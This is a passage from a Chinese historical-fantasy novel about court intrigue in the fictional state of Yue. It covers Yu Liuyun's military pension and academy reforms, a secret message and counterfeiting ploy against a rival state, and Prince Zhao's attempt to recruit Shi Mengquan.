石梦泉又有点儿糊涂了:“士兵们以为加了薪,其实也没加着。户部的人以为省了银子,其实又花了——” “现在没加着,是加在了二十五年后。”玉旒云道,“户部的确花了银子——与其留着银子给翼王那帮无所事事就会浪费粮食的人挥霍,还不如取之于民用之于民——每年征收这么多税金,大部分还不都被王孙贵族拿来纸醉金迷了?” “倒也不错。”石梦泉道,“但是你这方案显然是要拿户部和王孙贵族开刀,恐怕阻力不小吧?” 玉旒云看了看他,突然抓起桌上的毛笔朝他脸上画了过去。石梦泉不防备,脸颊上立刻就多了条黑线。玉旒云即笑道:“你别跑,我给你多画几条你就成老鼠 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石梦泉少参与朝廷钩心斗角,但是以行军打仗来做比方对他来说是最明白不过的了。“既然大人这样说,有什么我能做的?”他问道,“要我在朝堂上跟户部的人一分一厘地算账,我恐怕没那个本事。” 玉旒云笑道:“算账自然需要账房先生了,勉强你来做,岂不是大材小用?我有更重要的任务要拜托你。”便指着笔记上关于各地设立武备学塾和军营统一训练制度的那些条,一一把郭罡的建议给说了。 听了这些,石梦泉拊掌赞成:“这可真是太好了!每次出兵如果都是带的亲兵,自然知道他们有些什么长处,又有什么不足。但一遇到要调派地方驻军支援,实力参差不齐,如果全国能够统一,又常有京官去考核,我军的战斗力自会大大提高。” 玉旒云道:“显然,所以才要你制定这个训练章程。” 石梦泉道:“一定不辱使命——其实我觉得大人最高明的在这武备学塾上。少年人既能强身健体,又能读书识字,将来到了军中自然就是将才。现在许多十夫长、百夫长身手很好,又得军心,可惜目不识丁。我有心提拔,但他们连个军报也不会写。就算有什么经验,也难以成书,推广到其他军营里去。实在可惜。如果有了这个武备学塾……” “那也得好几年之后才见效果呢!”玉旒云听他对这计划赞不绝口,知道实际是在称赞郭罡。但是心里还是很得意:总算她没有白收这只黄鼠狼在身边。不知石梦泉将来知道了这一切都是郭罡的杰作,会有什么反应呢? 两人又接着把郭罡的其他建议也都商讨了一回。真是越说越兴奋,玉旒云当时就铺了纸准备写条陈。不过下人把茶点拿了来。石梦泉怕她又“废寝忘食”,搞坏了身体,就拦住了不让写。可依然拗不过玉旒云,最后成了玉旒云口述,他执笔,用了一个多时辰才把条陈写完。 管家便来请晚饭了。两人都心情大好,连带的也就胃口大开——玉旒云家的厨子都是既知道玉旒云的喜好又了解石梦泉的喜好,专门挑了两人爱吃的来做。而且这又是玉旒云远征回来头一次在府中宴客,管家特为献上了自酿的好酒,甘冽香淳,让人喝下去说不出的畅快。不多时,各种佳肴一扫而尽。盥手漱口后,又上了香片来,座谈消食。 而就在这个时候,外面通报说,张至美夫妇求见。 玉旒云都快要忘记这两个人了。当日富安兵变,她要邓川带着这两个人北去并且把他们看守起来,这两人也就一直住在朱家坝。到了东征郑国胜利,大军回京时也没想起他们来。估计是邓川自己记起了这茬儿,就把夫妇二人“护送”回西京来,听候玉旒云的发落。 石梦泉便望了望玉旒云:“大人,牟希来也算是西瑶的一个重要人物了,虽然现在被流放,但他日或许还有东山再起之时。我们要不要把这夫妇二人留在西京?” 玉旒云也有这样的打算,笑了笑,道:“请他们先进来再说。”念到自己还关押着楚国武林北义师的人,又想:我到底得养着多少浪费粮食的家伙? 不多时,看一盏灯笼穿过月门,下人已引着张至美夫妇到了。几个月不见,他俩还是老样子。张夫人落难之时依然有太师千金的架势,而张至美在夫人身边亦步亦趋,窝囊书生畏妻如虎,让人一见之下不免发笑。夫妻来到跟前就同玉、石二人问好。 玉旒云也跟他们寒暄,问问连月来的经历——果然与她所料不差,张家夫妇一直住在朱家坝,并没有遭遇任何的战乱,只是穷极无聊度日如年。两人担心牟希来的境况,很想尽快去营救,但是又不敢贸然离开朱家坝生怕会卷入战争死于非命。于是就一直禁足在朱家坝的小院之中。直到罗满和顾长风各自上任,东海三省一片新气象,两人才知道大战胜利的消息。他们决心南归,苦于全无盘缠,便求助于邓川。邓川知道玉旒云要自己看管这对西瑶夫妻决不会是无端端,便推说军中的银两他不好随意动用,且张家夫妻毕竟是玉旒云的客人,不跟玉旒云当面道别总于礼不合,就派人将他们送到了西京。 张至美是书生,张夫人也是死要面子,于盘缠一节说得十分含蓄,但玉旒云自然猜得着是怎么一回事,更加晓得后面有什么他俩都不明白的缘故,就笑道:“战事突然,玉某人也控制不了,耽误了二位的行程,真是过意不去。二位南归的一切花销玉某人一力承担,以示歉意。不知二位打算何时动身呢?还有,大概需要多少盘缠,我好跟账房说一声。” 张夫人道:“让大人破费怎么好意思。我夫妻二人到西京也有两天了,事关父亲大人的安危,不容耽搁。我们想三天之内就动身。不知从这里到楚京凉城需要多少花费?” “凉城?”石梦泉皱了皱眉头。 “正是。”张至美道,“当初玉大人不是建议我夫妻二人去找公孙大哥么?他足智多谋一定有办法救出岳父大人。所以我们决定先去凉城。不敢让大人多破费,只要能叫我夫妻二人到凉城就好了。” 我还提过这样的建议?玉旒云虚起眼睛,差点儿都忘了呢!公孙天成这老狐狸竟然能平安无事带着西瑶的火炮和铸造术从自己的眼皮地下溜走,实在是奇耻大辱。不过,倒要看看他还能逍遥到几时——郭罡这只黄鼠狼可比他狠毒得多了! 想到郭罡,她的心里突然电光火石般地一闪:啊,有了! “何必还要诸多麻烦?”她道,“从西京出发一直到西瑶的路费全由我包下来。我立刻就叫账房支一千两银子给你们。你们要去见公孙先生,必然也就要拜见他的主公程亦风大人,不带点见面礼也是不行的。时间仓促,再要去买恐怕来不及,就从我这里挑吧。”说时,指了指旁边的博古架:“张夫人世家千金,眼光非同一般,只要你看得上眼,觉得送礼不丢人的,就只管拿去。” 张夫人一愣,怎会料到她有此提议?而玉旒云还一再热情相邀:“别客气,我本是一介武夫,就不懂得欣赏这些玩意儿。况且我南征北战也很少在家中。白白放在这里真是暴殄天物。我听说程亦风大人探花出身是个雅人,夫人拿去送给他,才正合适。” 张夫人看她不像是开玩笑,自己有些心动了,但还是推托再三,才勉强去挑选。而玉旒云又说道:“程大人虽然是我的对手,但是人生能有一位旗鼓相当的对手也是一大乐事。我自己也想找一份礼物送给他。梦泉,你帮我招呼张公子、张夫人,我到书房去选一件礼物,再给程大人写一封信,一会儿就来。” 石梦泉不知道她是何打算,只有答应。监视着张夫人挑选古玩,又听张至美说些无关痛痒的风花雪月之事。大约过了一盏茶的光景,玉旒云回来了,手里拿着一只锦盒,另有一封书信。 “久等,久等!”她向张至美夫妇道歉,“这封信里有我向程大人的问候,以及对二位遭遇的说明。二位可以拆看,随便交给程大人或者公孙先生都可以。” “是。”张至美道了谢,接过来。 玉旒云又打开了锦盒,里面有一只黄玉雕成的狮子,本来并不是什么希罕之物,但是张氏夫妇在樾军中有些时日,知道狮子就是玉旒云的象征,这样一份礼物送给敌人既是问候又是示威。“请务必亲自交到程亦风大人的手上。”玉旒云道,“我期待着将来某日和他在战场上一决胜负。” “啊……这……”以张至美的书呆子脾气本来想劝一句“有话好好说,何必兵戎相见”,但是被夫人拧了一把,只得将话咽了回去。 张夫人接了锦盒,赞道:“果然是件珍宝。我夫妻二人一定不辱使命。”作势又仔细端详了一下那只玉狮子。 玉旒云微微笑着,并不说话。石梦泉的目光却停在锦盒衬里的那方浅黄色的丝帕上。本是一只黄色的狮子,岂有放在如此相近的颜色上的?别人看来也许只觉得配色不妥,但他却认得这种浅黄色的薄绢正是玉旒云在军中传递机密文件所用。因为其质地轻盈很容易隐藏,而且书写于其上墨迹并不会晕开,就算迫不得已要浸在水中,也不会使墨迹脱落。以前玉旒云总是直接在薄绢上书写命令,使传令官或者用信鸽、鹞子传到各方。而自从大青河之战被人截获了一份密信之后,她已经改用明矾书写,非要浸了水才能显出字迹来——她莫非是利用张至美夫妇给程亦风身边的暗桩子传信么? 看着玉旒云神秘莫测的笑容,他知道自己的猜测不假。两人已经多次讨论过这个问题:这位暗桩子自觉被公孙天成盯上,现在轻易不敢和外间联络,自上次冒死将那“肖家娘子树下走”的消息传到军中,已经很久也没有消息了。很可能是他和外界联络的接头人统统被盯住,线路也统统被切断,甚至有可能这位暗桩子也被公孙天成拔掉了。玉旒云觉得要想办法重新建立细作联系的网络,有心派新的接头人去,并且设立新的接头地点,但首先必须确定暗桩子依然还活着,并且把这消息传递给他,才能再论其他。利用张至美夫妇给程亦风送礼,的确是个很好的机会。 张氏夫妇又坐了一刻,玉旒云叫管家来到账房给他们支了一千两银子,且把张夫人挑定了两件古玩包好,张夫人很识相,就起身告辞。 玉旒云道:“我回京之后有很多杂物要处理,二位动身之后也许不能亲自相送,就在这里先祝你们一路顺风,早日救出牟太师。” “多谢大人。”张氏夫妇又客套了一番,终于离去。 石梦泉看着玉旒云:“你不要他们做人质了,是要他们……” 玉旒云笑了笑:“你也看出来了?不错,我就是要他们去送信。这个用处大一些。至于西瑶人,随便他们窝里斗去。” 石梦泉道:“那么新的接头人等等,我会尽快安排下去。” 玉旒云点点头:“不仅要安排接头人,我还需要大量假扮商人的潜入楚国给我买东西。” “买东西?”石梦泉不解。 “我那封信不仅仅是通知更换接头人。”玉旒云转过脸来狡黠地一笑,“我要他们那边部署窃取楚国户部官票和宝钞的印板,然后印制大量官方银票,破坏程亦风的新政。” “啊——”石梦泉委实没有想到她有这计策,吃了一惊,“这……怎么破坏?” “你不记得了么?我们初初攻下郑国时,我想分银两给惠民药局和各家善堂,”玉旒云道,“后来并没有这么做,是被郭罡阻止了。他说币多货少会造成物价飞涨——他分析其中道理的时候你正好不在,没有听到。”因将郭罡那日所讲的略略说了一番,语气很是轻描淡写,更加回避了盗取宝钞印板其实是郭罡私下里见她提出的一条毒计。 石梦泉听了解释才明白了过来:“原来如此,也亏你想得出来。”虽然心里有点儿说不出的别扭,但是想到兵者乃国之大事,死生之地,存亡之道,如果能令楚国混乱软弱,将来出兵之时,自然少了许多伤亡。因此也就不再计较了。 玉旒云笑道:“还不止是去楚国买东西呢——无论是设立武备学塾还是改革军营训练,或者是二十五年后退伍兵的养老薪俸,这些都是需要银子的。我们只要印一批楚国的户部官票然后兑换了白银偷运回樾国来。到时候楚国人所有的不过是一堆废纸,我们这边就是……哈哈!”她想着都觉得兴奋,手也有些微微颤抖起来:真是老天助她!这一日之中,究竟做了几件将来会惊天动地的大事? 当此开心之刻,还饮什么香片?应该继续喝酒。想着,就道:“来,梦泉,方才没过瘾,我们再喝一杯。” 71. 第 71 章 玉旒云的条陈递了上去,立即得到兵部的集体支持。刘子飞为了私人恩怨定要出来唱唱反调,但是兵部却没有一个人支持他的,好没意思——不过,他也还是找到了同盟者,礼部和户部强烈反对这些新建议。礼部认为,太祖、太宗立国以来学习楚制,四书五经、圣人文章,那才是治世之本,虽然马上打天下,但是不可以马上治天下,设立武备学塾等于给了武夫做文官的机会——那以后武举岂不是和科举混为一谈?这就是挑战了圣贤的权威性,还不天下大乱。更何况,让小民都知道了如何治军,如何打仗,朝廷还怎么统治平民?户部的理由则是账目问题——建立如此庞大的一项新税和抚恤储备本来就很麻烦,老兵退伍之后分散到全国各地,地方上要怎样将他们一一纪录在案,月月分发薪金?还要对谁死了谁活着、谁的老婆有没有改嫁都了如指掌,户部哪里还这么多官员管理这些芝麻绿豆的小事?说到设立新官职的可能性,就牵扯到吏部了。吏部本来在刘子飞和玉旒云的争执上就站在刘子飞一边,此事虽与他们并无太大关系,但还是表明了态度:需要反复论证,仔细考虑,不妨看看议政处是何态度? 问议政处就等于是问悦敏。悦敏大概很奇怪在这个时候玉旒云为什么要搞这些花样。他不敢轻易批准或者驳回,所以一边叫玉旒云回去想想怎么解决礼部和户部提出的问题,以备朝会辩论,一边就将条陈抄了一份带回去给赵王看。 玉旒云想,郭罡既然敢叫自己提出这些建议来,就不怕被赵王知道,因此并不担心。只不过如何对付礼部和户部的刁钻问题,实在大费脑筋。她心里自然的觉得这两部官员提的问题都是故意刁难,但自知这样在朝会上辩论必然显得幼稚可笑。为了寻出不容驳斥的理由,她自然而然又想到了去请教郭罡。 于是便故技重施,拿翼王做幌子去刑部大牢审讯奸细。 翼王不疑有他,一副受宠若惊的样子,玉旒云一叫他独自审问,他就立刻赌咒发誓,说这次一定要问出个所以然来。而玉旒云就像上次一样悄悄地来到了郭罡的囚室前。 郭罡依然还是守着一盘棋,自己同自己拼杀。听了她的问题,呵呵笑道:“什么东西能治世,那还不是人说的?这就好像什么东西能治病一样——就连神农氏也是遍尝百草才知道哪些能救人哪些会害人吧?而神农之后又有多少郎中孜孜不倦,寻求新药?如果大家就捧着太古时代传下来的几种药奉为万灵之丹,世上将有多少人枉送性命呢?这治国的道理也应该不断地寻求,不断地完善,怎么能就凭着孔孟说的几句话,写的几本书,就当成万古不变之理?” 玉旒云听言不禁一愕:可不是如此!便暗暗记下了,准备朝会上用。 郭罡接着道:“至于朝廷将无法统治百姓这一条,简直就是狗屁!就像先前我和大人所讨论过的,一支每一个士兵都‘训练有素,进退有度,处变不惊,灵活机动’的部队才是王者之师,才能百战不殆。国家不也一样么?今有一国之民懵懂愚昧,一国之民醉生梦死,另一国之民勤奋□□,哪一国将制造出最精良的武器?哪一国能培植出最高产的粮食?哪一国能出现最卓尔不群的学者?哪一国将最终称霸天下呢?一个愚蠢无用的将军,最希望自己的士兵也都愚蠢无用,因此就不会发现自己的短处,一个腐败无能的朝廷最希望自己的百姓都蒙昧痴呆,就不会发现朝廷的短处。今樾军有玉大人和石将军这样机智骁勇的战将,如何需要护短?礼部的那些人想阻止大人开民智,难道是怕百姓懂得了分辨是非,就发现礼部的那些人实际都是蠢材吗?还是他们想指桑骂槐说万岁爷无用?” “哈!妙极了!”玉旒云差点儿拊掌大笑。这一番言论如此符合她的个性,朝会上她就这说,看看礼部的家伙们脸色会变成什么样儿! 郭罡微微而笑:“那记账的事显然是户部故意找麻烦。” “可不!”玉旒云道,“他户部不愿意做,我兵部来接手不就好了?” “那也万万不可。”郭罡道,“一国的财政就要由专司财政的衙门来管,要是人人都横插一脚,还不乱套了?”看玉旒云很是不忿的样子,他又接着道:“当然,户部的人存心给大人找茬儿,将来我自然帮大人收拾他们。不过现在先把他们这些无聊借口先挡回去——户部在地方上收人头税不是很在行么?这些都能搞得清楚,怎么就不知道谁当过兵没有?再说,退伍之人将军可以发凭证,用多板套色印刷,兵部密印防伪,上面注明人姓名的出生年月籍贯何处,并在兵部户部备案,将来只要凭着这张纸去地方衙门领银子就行。如果去的是女人,县衙里难道没有户籍表明她是谁的妻子吗?两下里一对照就行了。若有人冒领,抓住重重惩治几个,其他人也就不敢了——这都是很远的事,二十五年后,大人早就把户部收拾得服服帖帖,也不用这么麻烦了。” 玉旒云很想知道究竟郭罡要怎么帮自己“收拾户部”,但这时却还关心不了那么多。说到多板套色印刷,她自然就记起利用张至美传信给细作偷取楚国官票印板之事,这是出自郭罡的建议,但怎样实施,以及将来怎样用楚国的银子来兴办武备学塾,却是她自己想出来的。心中不免得意,把对郭罡的戒备与厌恶都暂时抛到了一边,向是小孩子要向长辈炫耀自己在学堂里的成绩似的,将这件事原原本本地讲给郭罡听了一遍。 郭罡听罢,拈须笑道:“大人聪敏机智,举一反三,天下还不迟早是大人的囊中之物?” 这是一句要掉脑袋的僭越之话,玉旒云也没在意,想想不能耽搁太久,既然问题都解决了,便退出了刑部大牢。 第二天适逢朝会之日,玉旒云就把郭罡所教之话原封不动地抛了出来,礼部、户部的官员目瞪口呆。龙椅上的庆澜帝都有些一愣一愣的:“玉爱卿,你再说清楚些,朕不太明白。” 悦敏从一众议政王中出列禀奏,把玉旒云前日递上的条陈总结了一番。有点出乎玉旒云意料的是,他大力支持,而且提出应该把这新法推行到侍卫禁军、护军和步军之中:“虽然当差的地方不同,但都是为万岁效力的军人,到了年龄如果愿意也可以退伍,将来朝廷亦应该替他们养老。” 对于这个建议,玉旒云听不出表面上有何不妥,不过她直觉上以为,悦敏回去跟赵王商议了一番,决不可能真心支持自己,必定有所阴谋。细细想了一下:莫非是要借禁军、护军和步军人事变动之时有些不轨之图?那可决不能答应。因此,她立即出声反对:“不可!” “哦?为何?”悦敏带着一丝笑意,仿佛玉旒云已经掉入他的圈套。 玉旒云心思转得飞快,知道自己必须找一条令人信服又不那么敏感的理由。这两天看着郭罡的手札算账算得多了,倒有不少心得,信手拈来,道:“外面的普通士兵月俸甚少,今让万岁赏他们每月五厘作为养老税,过了二十五年,积攒起来的钱足够支付五两。但禁军、护军和步军的月俸可高得多,禁军就是每月十两,如果万岁爷只赏五厘,岂不是要五十年才能攒够银子?倘若要多赏些,又哪儿来这么多银子?” “有道理。”悦敏点头,“不过,我却有一条不明——玉大人是领侍卫内大臣,统领京城驻军。同时你也带领京外各部——他们大家都是为皇上当差,为何禁军、护军和步军的俸禄要比普通士兵高?前锋营、骁骑营等冲锋陷阵,出生入死,难道不应该和禁军享受同样的薪俸么?如果这些士兵在从军之时能拿到和禁军一样的薪俸,储蓄数载,到了五十岁时,也有可观的数目供自己颐养天年了——玉大人似乎精通算学,一定明白我的意思。” 玉旒云一愕,意识到自己还是没能逃脱悦敏的陷阱:郭罡让她为士卒争取养老银子,乃是为了鼓励更多的人主动参军,同时也提高自己在军中的威信。而悦敏尖锐地指出京外普通部队的薪俸比驻京部队少一半还不止,自己如果反对给这些士兵加月例,那就是明显偏帮禁军,悦敏稍去宣传,必定引起不满。而如果自己支持加俸,顷刻之间,军费开销就要翻一倍,那还不把户部、兵部全都得罪光了? 真是可恶,她暗暗捏紧了拳头。 好在庆澜帝出来解围了:“两位爱卿算来算去的,朕的头都大了。不如你们回去商议好了再来朝会上奏报。其他还有谁有本上奏?” 自然有好几个人有事要向皇上禀报,这时依次进行。因为并不是什么复杂的问题,没一会就都处理完了。庆澜帝即宣布退朝,但叫玉旒云留了片刻,悄悄问道:“玉爱卿,这时候你不帮朕想法子对付皇叔,却来弄这个什么养老税,是何意思?” 玉旒云暗想,姐夫是个好老人,对于尔虞我诈之事并不在行,郭罡的计策一时半刻又怎么解释得清楚?因道:“万岁放心,臣必不会让赵王爷有可乘之机。养老税是为了鼓励士卒更加忠心为皇上办差,所以请万岁务必批准。” 庆澜帝道:“你们说的这个,朕一头雾水。不过玉爱卿的提议,朕是一定准奏的。只是永泽公把持议政处,玉爱卿不过他那一关,这事朕也无能为力——说起来,永泽公在议政处只手遮天,始终是心腹大患,爱卿想出什么对策么?” 玉旒云摇摇头。 正这时,本已出了殿的翼王又折返回来:“玉大人,藤王府新来的戏班子唱作俱佳,我好容易才借回去一日,想请你赏光一起听戏,意下如何?” 玉旒云哪儿有心情理会他?庆澜帝看了看弟弟,又颇有深意地看了看玉旒云:“爱卿,如果你能进议政处的话……” 那就非得做内亲王。这是将她和翼王的婚事旧事重提。玉旒云立刻板下脸,行礼道:“万岁,臣还要回去考虑修改养老税一事,先行告退。” “唉,这……”庆澜帝也拿她没办法,只好挥挥手,准她离去。 翼王穷追不舍:“玉大人,养老税的事,小王能帮上什么忙?” 玉旒云正是心烦意乱,看到他更加气不打一处来,加快步子,要将他甩开。一时走得急了,连等待在殿门口的石梦泉也没注意到,一径跑下了台阶去。 翼王脚不沾地紧紧追上:“大人,要是一时想不出,不妨先抛开一边,去小王家里听戏。我从藤王府借的那个班子可好啦……” 玉旒云只当没听见。 翼王并不气馁:“要是大人觉得听戏不是正经事,小王陪大人做正经事也行——养老税想不通,就先做点别的——去审问楚国奸细如何?我看他们也嘴硬不了多长时间啦!” 听他这样说,玉旒云放慢了脚步:去找郭罡商量商量也好。本来她怕自己频繁提出去刑部迟早会引起怀疑,但既然是翼王先说的,那又另当别论。 “好。”她道,“就去找那些老匹夫们出出气也是可以的!” “太好了!”翼王几乎原地蹦起三丈高,“大人请——” 远远的,石梦泉听不见两人的谈话,但是看到两人几乎是肩并肩沿着步道朝宫外走,他心中好不奇怪:究竟是什么,能够让玉旒云忍受翼王如此接近自己? 他忍不住想追上去看个究竟。可是,脚步才动,却听到了愉郡主的声音:“好不好看?” 他一愣,见到一条绣花汗巾递到了自己的跟前。黑色的底子上绣着一匹银色的骏马,而愉郡主擎着汗巾的那只手上随处可见针扎的伤痕,可见这匹骏马是她的杰作了。 “到底好不好看?”愉郡主见他不说话,就追问。 “郡主您亲手一针一线绣的,怎么能不好看?”娇荇陪在一边笑道,“所以石将军才看傻了呀!” 愉郡主瞪了丫鬟一眼,将汗巾塞到石梦泉手中:“不管好不好看,你要系起来,每天都得系着,不许拿下来!” “郡主,”娇荇小声提醒,“这是汗巾,每天都带着岂不是要臭了?要是想石将军天天都系着您绣的汗巾,恐怕得多做几条才行。” “多嘴!”愉郡主斥道,“是不是母妃叫你盯着我多做女红?你又从她那儿讨了什么好处?” “冤枉哉!”娇荇道,“王妃让郡主做女红,奴婢我能得什么好处?最后还不是都成了奴婢做女红——”才说到这里,发觉漏了嘴——这岂不就是告诉石梦泉,那汗巾上的绣花至少有一大半是她娇荇的功劳? 愉郡主气得直跺脚,正举手要打,听悦敏的声音道:“小愉,太极殿门口是给你胡闹的么?”原来下朝之后他竟没有离去。这时走上前来,跟石梦泉拱了拱手:“石兄弟,你回来之后咱们还没好好说过话呢!” 大家现在是什么立场,心照不宣。石梦泉略带尴尬地回了礼:“小王爷现在整天在议政处忙碌,怎好意思打扰?” “又说这么见外的话!”悦敏道,“我是你未来大舅子。我叫你兄弟,你也应该当我是兄弟,什么‘小王爷’不‘小王爷’的?我就在议政处有一座山那么多的公文要处理,也不能不和未来妹夫你喝一杯酒。再说,我父王也一直很惦记你和玉大人呢。” “岂敢。”石梦泉客套着。 “今日倒很清闲。”悦敏道,“本来想请玉大人一起去家里坐一坐,刚才看她和翼王爷走了,真是件怪事。” “有什么奇怪?”愉郡主插嘴,“翼哥哥想了多少主意要娶这个男人婆?虽然我看她没什么好,但是既然翼哥哥吃了秤砣铁了心,我也希望皇天不负有心人啦!” 悦敏摇头笑笑,对石梦泉道:“怎样,兄弟?玉大人虽然没空,你愿不愿意赏光?” 这是做什么?莫非事到如今,赵王还想拉拢他?石梦泉心中转过了无数的怀疑,无论如何,总不至于骗我去赵王府想杀了我吧?便跟去摸摸他们的底细也好。因答道:“小王爷如此盛情,下官恭敬不如从命。” 果然是出于赵王的授意。到赵王府的时候,酒席早就准备好了,也预留了玉旒云的座位,悦敏说她和翼王一起走了,赵王才愣了愣,笑道:“哦?莫非这两人的好事也近了么?”跟着就吩咐人撤去一套碗筷,请石梦泉入席。 赵王妃、愉郡主都在席上,所以并没有任何要紧的话说。无非赵王妃的言语中旁敲侧击,想看看石梦泉打算什么时候迎娶愉郡主过门。她也暗示丈夫和儿子明确地把这问题提出来。但赵王就仿佛没听见。而悦敏则不住地说起在北方和蛮族作战的趣事——当初玉旒云让戴罪的锁月总兵岑远去北方挑起战乱,如今从悦敏的叙述中知道,岑远受了重伤,军医说恐怕下半生都会瘫痪,所以岑广已经奏明庆澜帝,将侄子接到身边去。也不知道岑远说了什么没有?岑广老将军是会怪罪赵王还是怨恨玉旈云?石梦泉不免担心——这实在不是另外树敌的时候! 一时饭毕,赵王妃要去歇午觉,愉郡主须得陪同母亲回房。觑着这一个时机,悦敏立刻建议:“父王,请石兄弟一起喝茶吧?” “恩。”赵王点头,“上练武房那边去,清静些,省得妇道人家一直在耳边唠叨。” 练武房,石梦泉知道,那里有间密室,一年前就是在那里,赵王向他和玉旒云提出了合作谋取天下的建议,如今又要到那里去,赵王这是要切入正题了。他于是一边起身跟着这父子二人出门,一边提醒自己,要时时警惕,步步小心,千万不要中了人的奸计,陷玉旒云于危险之中。 于是,由悦敏打头,三人来到了赵王府练武房。正如石梦泉所料,悦敏打开了密室的门,将父亲和石梦泉都引了进去。 这里看来跟一年前并无甚变化,樾太祖皇帝手书的“驰骋天下”条幅依然气势雄浑地挂在正对面的墙上,书架和兵器架侧立两面,显着“文韬武略”之意。唯一不同的是,原来摆放在当中的青铜宝鼎不知去向——但只要赵王心中还有问鼎之念,这笨重的青铜玩意儿在与不在又有何关系? 三人在原先摆放宝鼎之处站定。悦敏轻轻拍了拍手。石梦泉只听“卡卡”数声,书架和兵器架都移开了,后面各露出一扇门来,而内中鱼贯走出两列人,书架后走出的都是文士打扮,而兵器架后走出的,自然都是束袖的武者。石梦泉也习武多年,一看就知道,这些人不是普通行伍出身,都是武林高手。当先一个鹤发童颜的,才一现身,悦敏立刻就迎了上去,恭恭敬敬地行礼道:“大师父。”而后面跟着的人,悦敏也一一见过,分别称为“二师父”“三师父”,又有几个是他的师兄师弟。 啊!石梦泉心想,原来悦敏都是跟着这些江湖中人学的武艺,难怪当初他能用“铁砂寒冰掌”这种古怪功夫袭击玉旒云。却不晓得这些高手们还教了他什么厉害玩意儿? 悦敏微微笑着向石梦泉介绍这些文士武者,并且称他是自己的未来妹夫。这些隐藏的高人也就很有礼貌地同石梦泉或点头或抱拳作为招呼,仿佛真是见了赵王的半子,自己未来的半个少主人。寒暄了一圈,悦敏道:“各位都还有正事要忙,父王和我也要和石兄弟谈点事,大家各忙各的吧!”这些人也就纷纷行礼,退回那两扇门中去了。悦敏再次拍了拍手,书架和兵器架都移回原位。刚才的一切好像都没有发生过。 石梦泉看着这父子俩,揣测他们下一步的计划。 赵王负着手,慢条斯理:“上次你和玉旒云来的时候,本王跟你们说过。你们走进了这间密室,可以好端端地走出去,也可以生不见人,死不见尸。你们两个年轻人大概是把本王的话当成玩笑了吧?” 原来是一个下马威,石梦泉暗想,但是谅赵王也不敢真的叫他“生不见人,死不见尸”,所以他神色自若,道:“下官不敢把王爷的话当玩笑,玉大人也是一样。” “是么?”赵王看了看他,“你们两个在西瑶好大的动静,竟然说服孝文太后和青锋太子跟你们结盟——本王花了那么多心血才达成的盟约,你们两个年轻人竟然这么轻易就达到了,实在叫本王不敢小觑。” “王爷,一个巴掌拍不响。”石梦泉道,“如果不是青锋太子相邀,下官和玉大人也不会冒险穿过楚国远赴西瑶。西瑶人之所以最后要舍弃王爷而和皇上结盟,个中原因王爷自己也应该能猜测得到吧?”这句话的意思已经很明显了:谋朝篡位者,人人得而诛之。 赵王却并不生气:“西瑶人不是跟皇上结盟,而是跟玉旒云结盟。你们两个都是人才,就连本王都希望与你们合作,何况西瑶人呢?这次你们提出设立武备学塾,又增加养老税金,实在是一项绝妙的设想。如果由本王来做主,根本就不会容礼部、户部的人来刁难,一早就诏令实施了。” “这都是玉大人的提议,下官不敢居功。”石梦泉道,“而现在刁难着不想让这新法通过的并不是礼部和户部,正是小王爷永泽公您——” 悦敏拉着指节,格格作响,笑道:“我今天在朝堂上所说的并非存心刁难,而是指出新法的漏洞,让玉大人补上。这些新法可以使我大樾国的军队发生翻天覆地的变化,相信实施一段时间后别说楚国、西瑶不是我们的对手,就算穿过沙漠那些凶狠的红毛番国骑兵,也不在话下。如此重要的新法,如果有漏洞就太可惜了。我想,以玉大人的聪明一定可以尽快想出解决之法。到那时候,我一定鼎力支持新法的实施。” 你会么?石梦泉狐疑地看了悦敏一眼。 悦敏仿佛听见了他这个无声的问题,挺胸而立,道:“石兄弟,你我都的带兵之人,岂有不想军人得利的?朝中大臣多为了一己之私而不顾社稷和百姓。我悦敏却不是这样的人。就算你和玉大人想要与我为敌,我的目的却是要使国家强盛。我父王也是如此。你和玉大人是想在如今的朝廷中捆手捆脚,被人猜疑被人刁难,还是想要新朝廷新气象,尽情地一展身手?” 石梦泉忍不住冷哼了一声:连谋逆都说得如此冠冕堂皇! “不仅是一展身手的问题。”赵王道,“其实也是生死存亡的问题。石将军,你能够坐到今天的位置,当然是出自玉旒云的提携,你便就一直对她忠心耿耿,哪怕她要你去死,你也会去死。男人知恩图报,本王很欣赏你这一点。然而,如此愚忠对你的主公并没有好处。玉旒云性格偏执,认定了一件事对,就非要去做,认准一个人好,就非要去拥护,你比她冷静,比她成熟,应该替她看清形势。你想眼睁睁看着她走向覆亡么?你想跟着她一起走向覆亡么?” “下官不明白王爷的意思。”石梦泉道,“如今胜败未分,怎见得走向覆亡的不是王爷您?” 赵王笑了笑:“不错,本王要做的这件大事的确还是胜败未分。但是你以为你们帮着皇帝斗败本王,你们就不会走向覆亡?” 大概又要说起那“功高震主”的老一套,石梦泉暗想,什么叫“以小人之心度君子之腹”,赵王就是个好例子。当今圣上庆澜帝怎么会加害玉旒云呢? 赵王似乎是看出了他的心思,笑了笑,道:“年轻人,你以为皇上真是你所看到的那样?如果他是一个毫无主见,万事都需要别人来替他决断的人,他是怎样坐上今天这个位子的?仁宗朝兄弟阋墙,朝中多少王孙公子送了性命,偏偏就这样一个窝囊的老好人活了下来,还碰巧仁宗无后,让他当了皇帝?天下间竟有这么奇怪的事情?难道真是什么佛祖在背后保佑他么?” 石梦泉怔了怔:庆澜帝的确平庸,但是待人宽厚。也许老天正是要让机关算尽小人们知道公义之所在,才让庆澜帝一帆风顺,处处化险为夷。巧则巧矣,却没什么不合情理的。 赵王冷冷一笑:“年轻人,世上没有佛祖。所谓事在人为,你所见到的所有巧合,都是人做出来的。他装得越傻,你们就是越肯替他卖命,等有朝一日你们发现的时候,他早就已经坐稳的王位,又牢牢抓住了你们的弱点,只要动动小指头,你们两个就丢了小命——到那时候,就太迟了。” 石梦泉觉得赵王纯粹是危言耸听,说得前言不搭后语:“王爷找下官来就是为了要说这些?忠臣不事二主,就算将来皇上要下官的性命,下官也没有什么好说的。总强过谋朝篡位,不得好死。” “石梦泉!”悦敏低喝道,“我父王是还想拉你一把才跟你说这些,你不要不识好歹!” 赵王抬起一只手,示意儿子不要插嘴,自己微微一笑,对石梦泉道:“年轻人,我知道以你的性格,我若不给你看看真凭实据,你是怎么也不会相信的。我来问你,你知不知道当今皇后是什么出身?” 